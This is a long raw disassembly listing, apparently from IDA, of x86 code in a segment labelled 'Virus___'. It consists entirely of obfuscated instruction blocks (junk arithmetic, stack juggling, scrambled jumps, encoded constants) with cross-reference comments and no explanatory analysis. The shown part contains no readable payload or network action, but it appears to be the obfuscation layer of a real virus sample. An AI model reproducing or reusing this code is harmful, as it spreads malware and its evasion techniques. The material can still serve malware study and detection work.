loc_55BF5D:				; CODE XREF: Virus___:0055F0AFj
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55BF68:				; CODE XREF: Virus___:0056308Dj
		push	ax
		mov	ah, 15h
		sub	bl, ah
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_562DA1
; ---------------------------------------------------------------------------


loc_55BF7D:				; CODE XREF: Virus___:005581ACj
		add	esp, 4
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55BF8B:				; CODE XREF: Virus___:00551422j
		push	ebx
		jmp	loc_557EB7
; ---------------------------------------------------------------------------


loc_55BF91:				; CODE XREF: Virus___:00557424j
		shr	dl, 8
		jmp	loc_55E7DA
; ---------------------------------------------------------------------------


loc_55BF99:				; CODE XREF: Virus___:00553882j
		add	ecx, 72B96CB2h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edx
		jmp	loc_5593BE
; ---------------------------------------------------------------------------


loc_55BFAC:				; CODE XREF: Virus___:00559B1Aj
		push	edi
		mov	edi, esp
		jmp	loc_5563A8
; ---------------------------------------------------------------------------


loc_55BFB4:				; CODE XREF: Virus___:0056419Cj
		and	ecx, ebp
		jmp	loc_55066E
; ---------------------------------------------------------------------------


loc_55BFBB:				; CODE XREF: Virus___:0055128Cj
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55DDBB
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_556A25
; ---------------------------------------------------------------------------


loc_55BFD7:				; CODE XREF: Virus___:0054F91Fj
		push	edx
		jmp	loc_5559DB
; ---------------------------------------------------------------------------


loc_55BFDD:				; CODE XREF: Virus___:0055C2C7j
		add	ebx, 4
		jmp	loc_55427C
; ---------------------------------------------------------------------------


loc_55BFE5:				; CODE XREF: Virus___:0055FDF0j
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55026E
; ---------------------------------------------------------------------------


loc_55BFF8:				; CODE XREF: Virus___:0055EBFDj
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dl, 11h
		mov	ah, dl
		jmp	loc_55F345
; ---------------------------------------------------------------------------


loc_55C008:				; CODE XREF: Virus___:0055EC59j
		pop	edx
		jmp	loc_561FC9
; ---------------------------------------------------------------------------


loc_55C00E:				; CODE XREF: Virus___:005548AEj
		pop	esp
		jmp	loc_55DFD2
; ---------------------------------------------------------------------------


loc_55C014:				; CODE XREF: Virus___:0055D30Cj
		pop	edi
		sub	ecx, ebx
		sub	ecx, 6C98735Bh
		jmp	loc_55472C
; ---------------------------------------------------------------------------


loc_55C022:				; CODE XREF: Virus___:00560B76j
		add	edx, 4
		push	21D9h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_552867
; ---------------------------------------------------------------------------


loc_55C03A:				; CODE XREF: Virus___:00554277j
		pop	ebx
		sub	edx, ebx
		push	ebp
		jmp	loc_5526A9
; ---------------------------------------------------------------------------


loc_55C043:				; CODE XREF: Virus___:005541F3j
		push	edi
		push	78CCh
		mov	[esp], ebp
		pop	edi
		jmp	loc_554D3D
; ---------------------------------------------------------------------------


loc_55C052:				; CODE XREF: Virus___:00555C78j
		add	ebx, 4
		jmp	loc_550A3A
; ---------------------------------------------------------------------------


loc_55C05D:				; CODE XREF: Virus___:0055AE6Bj
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_54FDBB
; ---------------------------------------------------------------------------


loc_55C06D:				; CODE XREF: Virus___:00556F9Cj
		or	edi, 228F3327h
		sub	edi, 7DE039D2h
		sub	edi, 22C828D1h
		sub	edi, 61920988h
		add	eax, edi
		pop	edi
		push	dword ptr [esp]
		jmp	loc_54FD50
; ---------------------------------------------------------------------------


loc_55C090:				; CODE XREF: Virus___:00559AAAj
		add	edi, ecx
		pop	ecx
		sub	edi, ebp
		sub	edi, 7C1C7C89h
		push	ebp
		mov	ebp, 382513A4h
		add	edi, ebp
		jmp	loc_55D9F9
; ---------------------------------------------------------------------------


loc_55C0A8:				; CODE XREF: Virus___:0054FDD1j
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55C9DE
; ---------------------------------------------------------------------------


loc_55C0C1:				; CODE XREF: Virus___:00561F47j
		push	ebx
		mov	bh, cl
		jmp	loc_560B0D
; ---------------------------------------------------------------------------


loc_55C0C9:				; CODE XREF: Virus___:00554396j
		add	dword ptr [esp], 5D52B9Bh
		jmp	loc_561A23
; ---------------------------------------------------------------------------


loc_55C0D5:				; CODE XREF: Virus___:0056481Cj
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ecx, 67DE7F5Ch
		add	ecx, esi
		sub	ecx, 67DE7F5Ch
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		push	3976h
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		sub	edi, 4
		jmp	loc_5545D6
; ---------------------------------------------------------------------------
		lodsb
		add	al, 0F9h
		jmp	loc_562EBC
; ---------------------------------------------------------------------------


loc_55C129:				; CODE XREF: Virus___:00563DD4j
		xchg	ecx, [esp]
		pop	esp
		mov	ebp, edx
		pop	edx
		xor	ebp, 6B4807A1h
		push	edx
		jmp	loc_553426
; ---------------------------------------------------------------------------


loc_55C13C:				; CODE XREF: Virus___:005572FBj
		sub	edi, ecx
		pop	ecx
		jmp	loc_55A97D
; ---------------------------------------------------------------------------


loc_55C144:				; CODE XREF: Virus___:00552CDAj
		add	ebx, eax
		pop	eax
		sub	ebx, 47B22F7h
		push	ebp
		mov	ebp, 53694A25h
		jmp	loc_56000B
; ---------------------------------------------------------------------------


loc_55C158:				; CODE XREF: Virus___:005581E2j
		push	esi
		push	73D4h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_54FC76
; ---------------------------------------------------------------------------


loc_55C173:				; CODE XREF: Virus___:00556002j
		add	dword ptr [esp+4], 535C1D54h
		jmp	loc_556F6B
; ---------------------------------------------------------------------------


loc_55C180:				; CODE XREF: Virus___:00552804j
		shr	esi, 5
		jmp	loc_55BDCF
; ---------------------------------------------------------------------------


loc_55C188:				; CODE XREF: Virus___:0055A6BFj
		dec	eax
		sub	eax, 2A741DD3h
		push	edi
		mov	edi, 0B4BC4603h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, eax
		pop	eax
		mov	edx, ebx
		pop	ebx
		mov	esi, edx
		pop	edx
		sub	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_559723
; ---------------------------------------------------------------------------


loc_55C1BD:				; CODE XREF: Virus___:00563A39j
		add	esi, 75583499h
		mov	eax, [esp]
		add	esp, 4
		push	2CA0h
		mov	[esp], edi
		jmp	loc_560012
; ---------------------------------------------------------------------------


loc_55C1D6:				; CODE XREF: Virus___:00560814j
		add	bl, cl
		sub	bl, 3Dh
		sub	bl, 87h
		jmp	loc_55A4D6
; ---------------------------------------------------------------------------


loc_55C1E3:				; CODE XREF: Virus___:0055EA5Cj
		push	ecx
		mov	ecx, 2CF678DCh
		jmp	loc_55EBF0
; ---------------------------------------------------------------------------


loc_55C1EE:				; CODE XREF: Virus___:00553B07j
		push	ecx
		mov	ecx, 4
		mov	ebp, ecx
		pop	ecx
		add	ebx, ebp
		jmp	loc_55BEBB
; ---------------------------------------------------------------------------


loc_55C1FE:				; CODE XREF: Virus___:00564A50j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_5621E0
; ---------------------------------------------------------------------------


loc_55C20D:				; CODE XREF: Virus___:0055C7A7j
		mov	[esp], ebx
		xor	dword ptr [esp], 2D671487h
		pop	edi
		xor	edi, 2D671487h
		jmp	loc_55D440
; ---------------------------------------------------------------------------


loc_55C223:				; CODE XREF: Virus___:005602E2j
		push	5544h
		mov	[esp], ebx
		jmp	loc_559DF8
; ---------------------------------------------------------------------------


loc_55C230:				; CODE XREF: Virus___:0055D4C9j
		xor	esi, 4FAA0092h
		jmp	loc_5500EF
; ---------------------------------------------------------------------------


loc_55C23B:				; CODE XREF: Virus___:0055409Bj
		add	ecx, eax
		sub	ecx, 48644F23h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55C7DB
; ---------------------------------------------------------------------------


loc_55C252:				; CODE XREF: Virus___:005600A8j
		xor	ebp, 76280242h
		add	ebp, 0F5B8D7CDh
		sub	esi, 7AB47612h
		add	esi, ebp
		add	esi, 7AB47612h
		mov	ebp, [esp]
		jmp	loc_5602F7
; ---------------------------------------------------------------------------


loc_55C274:				; CODE XREF: Virus___:0055F1CEj
		mov	esp, [esp]
		push	ecx
		mov	cl, 0D4h
		sub	bl, cl
		pop	ecx
		sub	bl, 0D2h
		jmp	loc_554120
; ---------------------------------------------------------------------------


loc_55C285:				; CODE XREF: Virus___:00560848j
		pop	ebx
		jmp	loc_56291A
; ---------------------------------------------------------------------------


loc_55C28B:				; CODE XREF: Virus___:005513BDj
		xor	edi, ebp
		pop	ebp
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	ebx
		mov	ebx, 25186544h
		dec	ebx
		jmp	loc_553858
; ---------------------------------------------------------------------------


loc_55C2A6:				; CODE XREF: Virus___:0055DFA5j
		shr	edi, 3
		sub	edi, 859C45Ch
		add	esi, edi
		pop	edi
		jmp	loc_55BC25
; ---------------------------------------------------------------------------


loc_55C2B7:				; CODE XREF: Virus___:0054FE25j
		mov	eax, 23BF2300h
		jmp	loc_555B9B
; ---------------------------------------------------------------------------


loc_55C2C1:				; CODE XREF: Virus___:00558BDEj
		add	esp, 4
		jmp	loc_55BFDD
; ---------------------------------------------------------------------------


loc_55C2CC:				; CODE XREF: Virus___:0055B569j
		add	esp, 4
		jmp	loc_56011C
; ---------------------------------------------------------------------------


loc_55C2D7:				; CODE XREF: Virus___:0055CE4Bj
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 148F3E76h
		jmp	loc_55CB06
; ---------------------------------------------------------------------------


loc_55C2F5:				; CODE XREF: Virus___:0055CE0Dj
		pop	esp
		jmp	loc_5581E7
; ---------------------------------------------------------------------------


loc_55C2FB:				; CODE XREF: Virus___:005561A3j
		pop	ecx
		jmp	loc_5581D1
; ---------------------------------------------------------------------------


loc_55C301:				; CODE XREF: Virus___:005500EAj
		neg	ebx
		jmp	loc_5560FE
; ---------------------------------------------------------------------------


loc_55C308:				; CODE XREF: Virus___:005622F9j
		or	eax, eax
		jnz	loc_5532D4
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_559B9D
; ---------------------------------------------------------------------------


loc_55C321:				; CODE XREF: Virus___:005523DBj
		or	bp, 75C3h
		jmp	loc_55E601
; ---------------------------------------------------------------------------


loc_55C32B:				; CODE XREF: Virus___:0055618Dj
		sub	esp, 4
		jmp	loc_560725
; ---------------------------------------------------------------------------


loc_55C333:				; CODE XREF: Virus___:0055BA27j
		push	7F38h
		mov	[esp], eax
		mov	al, dh
		dec	al
		mov	dh, al
		pop	eax
		push	ax
		mov	al, 71h
		and	dh, al
		pop	ax
		add	dh, 8Bh
		push	ecx
		jmp	loc_550BB0
; ---------------------------------------------------------------------------


loc_55C353:				; CODE XREF: Virus___:0055288Ej
		push	esi
		mov	esi, esp
		jmp	loc_55FDEF
; ---------------------------------------------------------------------------


loc_55C35B:				; CODE XREF: Virus___:005643E9j
		add	cl, 0B8h
		and	cl, 3Ch
		add	cl, 3Ch
		xor	cl, 7Eh
		xor	dl, cl
		pop	ecx
		sub	dl, 0F5h
		or	ah, dl
		pop	edx
		push	ecx
		mov	cl, 12h
		add	cl, 1
		jmp	loc_56132F
; ---------------------------------------------------------------------------


loc_55C37B:				; CODE XREF: Virus___:00552099j
		push	edx
		mov	edx, 9FC00011h
		sub	ecx, edx
		pop	edx
		push	eax
		mov	eax, ecx
		jmp	loc_56241B
; ---------------------------------------------------------------------------


loc_55C38C:				; CODE XREF: Virus___:0055EE2Cj
		mov	edi, 4EE73FBEh
		xor	edi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 29271530h
		sub	ecx, 40C2F970h
		sub	edi, ecx
		jmp	loc_554F71
; ---------------------------------------------------------------------------


loc_55C3A7:				; CODE XREF: Virus___:00564587j
		sub	ebp, 6458398Ch
		sub	ebp, 5F6D7488h
		add	ebp, edx
		add	ebp, 5F6D7488h
		jmp	loc_54FADF
; ---------------------------------------------------------------------------


loc_55C3C0:				; CODE XREF: Virus___:005592E3j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	edx
		or	[edi+1Ch], ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4


loc_55C3DE:				; CODE XREF: Virus___:00551330j
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_556226
; ---------------------------------------------------------------------------


loc_55C3ED:				; CODE XREF: Virus___:00553171j
		add	ecx, edx
		add	ecx, 0BAE1DCFh
		jmp	loc_562327
; ---------------------------------------------------------------------------


loc_55C3FA:				; CODE XREF: Virus___:0055740Ej
		mov	eax, 2AA74390h
		or	eax, 2FCF13BCh
		jmp	loc_550D17
; ---------------------------------------------------------------------------


loc_55C409:				; CODE XREF: Virus___:0055F2CCj
		add	esi, 280E5610h
		push	dword ptr [esp]
		jmp	loc_55D4CE
; ---------------------------------------------------------------------------


loc_55C417:				; CODE XREF: Virus___:0055F0BBj
		mov	ecx, 2
		mov	edx, ecx
		pop	ecx
		sub	eax, 3D6E1347h
		add	eax, edx
		push	ebx
		mov	ebx, 5EF61751h
		and	ebx, 11590203h
		not	ebx
		sub	ebx, 3D522C44h
		sub	ebx, 69513890h
		neg	ebx
		add	ebx, 867AAC71h
		add	eax, ebx
		jmp	loc_55BCD0
; ---------------------------------------------------------------------------


loc_55C44F:				; CODE XREF: Virus___:0054FF87j
		push	ecx
		jmp	loc_55812D
; ---------------------------------------------------------------------------


loc_55C455:				; CODE XREF: Virus___:0056382Cj
		xchg	esi, [esp]
		pop	esp
		not	edi
		inc	edi
		jmp	loc_55BA2C
; ---------------------------------------------------------------------------


loc_55C461:				; CODE XREF: Virus___:005537B9j
		push	1E4Dh
		jmp	loc_563346
; ---------------------------------------------------------------------------


loc_55C46B:				; CODE XREF: Virus___:0055BC67j
		mov	cl, 39h
		jmp	loc_5519A9
; ---------------------------------------------------------------------------


loc_55C472:				; CODE XREF: Virus___:00555568j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 12AE6CB1h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_562DCA
; ---------------------------------------------------------------------------


loc_55C490:				; CODE XREF: Virus___:0055BE62j
		mov	[esp], ecx
		jmp	loc_560D0D
; ---------------------------------------------------------------------------


loc_55C498:				; CODE XREF: Virus___:0055626Fj
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_55F074
; ---------------------------------------------------------------------------


loc_55C4A6:				; CODE XREF: Virus___:0055A920j
		mov	cl, 0D9h
		xor	cl, 25h
		and	cl, 2Eh
		push	ebx
		mov	bl, 8
		and	cl, bl
		jmp	loc_551780
; ---------------------------------------------------------------------------


loc_55C4B8:				; CODE XREF: Virus___:005594EAj
		push	esi
		mov	esi, 444C3CC7h
		jmp	loc_562B64
; ---------------------------------------------------------------------------


loc_55C4C3:				; CODE XREF: Virus___:005617B5j
		push	ebx
		push	edi
		jmp	loc_558188
; ---------------------------------------------------------------------------


loc_55C4CA:				; CODE XREF: Virus___:00560C0Fj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_550CD2
; ---------------------------------------------------------------------------


loc_55C4D9:				; CODE XREF: Virus___:00559FC5j
		pop	esp


loc_55C4DA:				; CODE XREF: Virus___:0055C9E1j
		push	5450h
		mov	[esp], edx
		jmp	loc_55A204
; ---------------------------------------------------------------------------


loc_55C4E7:				; CODE XREF: Virus___:00560A9Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55FAFF
; ---------------------------------------------------------------------------


loc_55C4F2:				; CODE XREF: Virus___:0055960Ej
		neg	edx
		jmp	loc_56157F
; ---------------------------------------------------------------------------


loc_55C4F9:				; CODE XREF: Virus___:005597F5j
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_5569C6
; ---------------------------------------------------------------------------


loc_55C50C:				; CODE XREF: Virus___:00553700j
		pop	ecx
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		jmp	loc_5553B7
; ---------------------------------------------------------------------------


loc_55C51B:				; CODE XREF: Virus___:00563FAEj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 51A57C38h
		neg	ebx
		xor	ebx, 0CDF743F4h
		mov	esi, ebx
		pop	ebx
		add	eax, esi
		push	dword ptr [esp]
		jmp	loc_556863
; ---------------------------------------------------------------------------


loc_55C543:				; CODE XREF: Virus___:0055E53Cj
		push	eax
		mov	eax, 529D7960h
		mov	esi, eax
		jmp	loc_55FCDA
; ---------------------------------------------------------------------------


loc_55C550:				; CODE XREF: Virus___:0055983Ej
		sub	ebx, esi
		jmp	loc_555F2C
; ---------------------------------------------------------------------------


loc_55C557:				; CODE XREF: Virus___:00551F33j
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5622C7
; ---------------------------------------------------------------------------


loc_55C569:				; CODE XREF: Virus___:0055A7A3j
		sub	edi, 7E182C95h
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55FD23
; ---------------------------------------------------------------------------


loc_55C582:				; CODE XREF: Virus___:0055A1FFj
		mov	ecx, 18E65A7h
		shr	ecx, 2
		or	ecx, 74E53202h
		add	ecx, 364736C1h
		add	ecx, 2DC91A06h
		jmp	loc_54FEB6
; ---------------------------------------------------------------------------


loc_55C5A1:				; CODE XREF: Virus___:00561AC8j
		push	eax
		jmp	loc_55ADD2
; ---------------------------------------------------------------------------


loc_55C5A7:				; CODE XREF: Virus___:0055FF68j
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55B60C
; ---------------------------------------------------------------------------


loc_55C5B6:				; CODE XREF: Virus___:0055A33Dj
		pop	ebp
		xor	ebp, 0FFFFEFBFh
		jmp	loc_55D5D7
; ---------------------------------------------------------------------------


loc_55C5C2:				; CODE XREF: Virus___:00557A78j
		mov	[esp], ebx
		jmp	loc_56473F
; ---------------------------------------------------------------------------


loc_55C5CA:				; CODE XREF: Virus___:005529F3j
		pop	edx
		jmp	loc_55F58A
; ---------------------------------------------------------------------------


loc_55C5D0:				; CODE XREF: Virus___:00552786j
		sub	bl, 9
		sub	bl, 9Eh
		sub	bl, al
		add	bl, 9Eh
		add	bl, 9
		push	dx
		jmp	loc_564B08
; ---------------------------------------------------------------------------


loc_55C5E5:				; CODE XREF: Virus___:00552168j
		or	ebp, ecx
		jmp	loc_557913
; ---------------------------------------------------------------------------


loc_55C5EC:				; CODE XREF: Virus___:00552439j
		mov	edx, esp
		jmp	loc_556FAD
; ---------------------------------------------------------------------------


loc_55C5F3:				; CODE XREF: Virus___:005514ECj
		pop	ebx
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------


loc_55C5F9:				; CODE XREF: Virus___:005506E0j
		add	ebx, 7D11798Bh
		inc	ebx
		jmp	loc_550443
; ---------------------------------------------------------------------------


loc_55C605:				; CODE XREF: Virus___:00560CDFj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_55E641
; ---------------------------------------------------------------------------


loc_55C61C:				; CODE XREF: Virus___:0055B1A4j
		and	edx, 2B2F6B36h
		xor	edx, 3FA43230h
		jmp	loc_5567B2
; ---------------------------------------------------------------------------


loc_55C62D:				; CODE XREF: Virus___:00563DE4j
		push	eax
		mov	eax, 2
		add	ecx, 0D9D6560h
		sub	ecx, eax
		sub	ecx, 0D9D6560h
		mov	eax, [esp]
		push	42ABh
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		push	esi
		push	eax
		push	678C4BBAh
		pop	eax
		xor	eax, 4D0461BDh
		jmp	loc_551125
; ---------------------------------------------------------------------------


loc_55C66E:				; CODE XREF: Virus___:0055E825j
		push	3797h
		jmp	loc_55E457
; ---------------------------------------------------------------------------


loc_55C678:				; CODE XREF: Virus___:00550801j
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	[esp], al
		pushf
		jmp	loc_55B607
; ---------------------------------------------------------------------------


loc_55C696:				; CODE XREF: Virus___:00555024j
		add	edx, eax
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 2BAC4727h
		inc	esi
		and	esi, 681362FAh
		shr	esi, 3
		jmp	loc_55003D
; ---------------------------------------------------------------------------


loc_55C6B8:				; CODE XREF: Virus___:005584DDj
		push	ebx
		mov	bh, 0FBh
		shl	bh, 6
		xor	bh, 0C5h
		not	bh
		xor	bh, 0A5h
		jmp	loc_55BA01
; ---------------------------------------------------------------------------


loc_55C6CB:				; CODE XREF: Virus___:00563CEDj
		add	eax, edx
		pop	edx
		push	eax
		jmp	loc_560A8D
; ---------------------------------------------------------------------------


loc_55C6D4:				; CODE XREF: Virus___:0056140Aj
		push	eax
		mov	al, 9Ch
		push	ecx
		mov	ch, 5
		add	ch, 0Eh
		not	ch
		inc	ch
		sub	ch, 0C5h
		xor	al, ch
		jmp	loc_554AC4
; ---------------------------------------------------------------------------


loc_55C6EB:				; CODE XREF: Virus___:0055A350j
		mov	ch, 62h
		push	eax
		mov	al, 0F3h
		xor	ch, al
		push	dword ptr [esp]
		jmp	loc_5624B1
; ---------------------------------------------------------------------------


loc_55C6FA:				; CODE XREF: Virus___:0056077Aj
		mov	edx, 72C70EF3h
		jmp	loc_559BA7
; ---------------------------------------------------------------------------


loc_55C704:				; CODE XREF: Virus___:00557697j
		sub	ecx, 747F6599h
		add	ecx, ebx
		add	ecx, 747F6599h
		pop	ebx
		push	esi
		mov	esi, 2
		add	ecx, esi
		pop	esi
		push	68C6h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55FA2F
; ---------------------------------------------------------------------------


loc_55C73B:				; CODE XREF: Virus___:0056454Aj
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5644C3
; ---------------------------------------------------------------------------


loc_55C746:				; CODE XREF: Virus___:00553185j
		mov	edi, esi
		pop	esi
		xor	ebx, edi
		pop	edi
		jmp	loc_555344
; ---------------------------------------------------------------------------


loc_55C751:				; CODE XREF: Virus___:00561701j
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_55B3E0
; ---------------------------------------------------------------------------


loc_55C75F:				; CODE XREF: Virus___:0055FA4Aj
		push	edx
		jmp	loc_55963B
; ---------------------------------------------------------------------------


loc_55C765:				; CODE XREF: Virus___:00564B03j
		add	esi, ebx
		sub	esi, 306829F9h
		push	edx
		jmp	loc_550DC6
; ---------------------------------------------------------------------------


loc_55C773:				; CODE XREF: Virus___:0056410Bj
		push	ebx
		jmp	loc_55AEF6
; ---------------------------------------------------------------------------


loc_55C779:				; CODE XREF: Virus___:00564475j
		pop	edx
		mov	ebp, edx
		pop	edx
		pop	ebx
		jmp	loc_55AD8F
; ---------------------------------------------------------------------------


loc_55C783:				; CODE XREF: Virus___:00554595j
		mov	ebx, [esp]
		add	esp, 4
		or	ebx, 72FB64E5h
		or	ebx, 2EED039Fh
		add	ebx, 2B37FACh
		xor	ebx, 0E2EEC47Dh
		sub	esp, 4
		jmp	loc_55C20D
; ---------------------------------------------------------------------------


loc_55C7AC:				; CODE XREF: Virus___:00551337j
		pop	esi
		add	edi, eax
		add	edi, 250C53C2h
		pop	eax
		push	edi
		jmp	loc_55659B
; ---------------------------------------------------------------------------


loc_55C7BC:				; CODE XREF: Virus___:00562D4Cj
		mov	cl, 87h
		jmp	loc_55D7FA
; ---------------------------------------------------------------------------


loc_55C7C3:				; CODE XREF: Virus___:0055472Dj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_555263
; ---------------------------------------------------------------------------


loc_55C7CF:				; CODE XREF: Virus___:0055048Cj
		add	esp, 4
		push	ebx
		jmp	loc_55D3F9
; ---------------------------------------------------------------------------


loc_55C7DB:				; CODE XREF: Virus___:0055C24Dj
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_553B13
; ---------------------------------------------------------------------------


loc_55C7F3:				; CODE XREF: Virus___:00560C3Cj
		sub	ebx, esi
		pop	esi
		sub	ebx, 64827982h
		add	ebx, eax
		add	ebx, 64827982h
		add	ebx, 79F25BB8h
		pop	eax
		push	6952h
		mov	[esp], ebx
		jmp	loc_56197E
; ---------------------------------------------------------------------------


loc_55C818:				; CODE XREF: Virus___:0055FB93j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_554ACD
; ---------------------------------------------------------------------------


loc_55C82E:				; CODE XREF: Virus___:00554F5Cj
		push	edi
		mov	edi, 1B6C52E3h
		jmp	loc_54F940
; ---------------------------------------------------------------------------


loc_55C839:				; CODE XREF: Virus___:00563D86j
		mov	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_560871
; ---------------------------------------------------------------------------


loc_55C843:				; CODE XREF: Virus___:00560B3Dj
		mov	edx, 620201E9h
		sub	eax, 54006FDEh
		sub	eax, edx
		add	eax, 54006FDEh
		pop	edx
		push	3EE4h
		mov	[esp], ecx
		push	4CF62A11h
		pop	ecx
		jmp	loc_55FE65
; ---------------------------------------------------------------------------


loc_55C868:				; CODE XREF: Virus___:00562A1Bj
		add	esp, 4
		jmp	loc_554424
; ---------------------------------------------------------------------------


loc_55C870:				; CODE XREF: Virus___:00559856j
		push	ebp
		mov	ebp, 6C3832F1h
		add	ebp, 1
		sub	ebp, 110FFC63h
		jmp	loc_5578E0
; ---------------------------------------------------------------------------


loc_55C884:				; CODE XREF: Virus___:0055AB99j
		push	74B0h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55525C
; ---------------------------------------------------------------------------


loc_55C8B0:				; CODE XREF: Virus___:0055CB1Aj
		pop	esp
		mov	[esp], ebp
		mov	ebp, 42256C1h
		jmp	loc_552DC9
; ---------------------------------------------------------------------------


loc_55C8BE:				; CODE XREF: Virus___:005581A4j
		mov	eax, 52195C93h
		jmp	loc_551EC7
; ---------------------------------------------------------------------------


loc_55C8C8:				; CODE XREF: Virus___:00563C58j
		pop	eax
		jmp	loc_5514B1
; ---------------------------------------------------------------------------


loc_55C8CE:				; CODE XREF: Virus___:00559754j
		pop	ebx
		push	eax
		mov	eax, 16BB317Ch
		sub	eax, 52F221Bh
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, ebx
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		neg	ecx
		push	edi
		mov	edi, 8EFBD426h
		xor	ecx, edi
		mov	edi, [esp]
		jmp	loc_5591FA
; ---------------------------------------------------------------------------


loc_55C908:				; CODE XREF: Virus___:005635D7j
		mov	eax, edi
		pop	edi
		inc	eax
		add	eax, 2D7251AAh
		jmp	loc_555402
; ---------------------------------------------------------------------------


loc_55C916:				; CODE XREF: Virus___:0054FC98j
		mov	[esp], edx
		push	edi
		mov	edi, 3D6E5801h
		mov	edx, edi
		pop	edi
		push	edx
		jmp	loc_55B366
; ---------------------------------------------------------------------------


loc_55C928:				; CODE XREF: Virus___:00555BF3j
		mov	edi, ebx
		pop	ebx
		shl	edi, 5
		push	edx
		mov	edx, 67457720h
		xor	edi, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		jmp	loc_561778
; ---------------------------------------------------------------------------


loc_55C947:				; CODE XREF: Virus___:0056119Cj
		mov	ecx, 16477D6Dh
		mov	esi, ecx
		pop	ecx
		shl	esi, 3
		jmp	loc_55B494
; ---------------------------------------------------------------------------


loc_55C957:				; CODE XREF: Virus___:00554712j
		mov	edi, ebx
		jmp	loc_55A19F
; ---------------------------------------------------------------------------


loc_55C95E:				; CODE XREF: Virus___:005598EFj
		pop	esi
		push	edi
		jmp	loc_550A0F
; ---------------------------------------------------------------------------


loc_55C965:				; CODE XREF: Virus___:0054FB66j
		push	12CCh
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55113E
; ---------------------------------------------------------------------------


loc_55C97E:				; CODE XREF: Virus___:0055427Fj
